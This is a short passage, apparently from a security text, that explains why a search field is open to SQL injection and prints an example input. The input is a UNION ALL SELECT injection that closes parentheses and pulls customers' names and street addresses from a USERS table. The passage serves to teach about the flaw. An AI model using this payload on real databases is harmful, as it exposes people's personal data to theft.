uSince you can search on any ID the previous example is
not very detrimental, but
entering the following is problematic:
u 1)))
u UNION ALL
u SELECT NULL, NULL,
u NULL, first_name || ' ' || last_name
|| ' ' || street_address,
u NULL, NULL,
u NULL, NULL,
u NULL, NULL,
u NULL, NULL,
u NULL, NULL,
u NULL, NULL
u FROM USERS
u WHERE (((1=1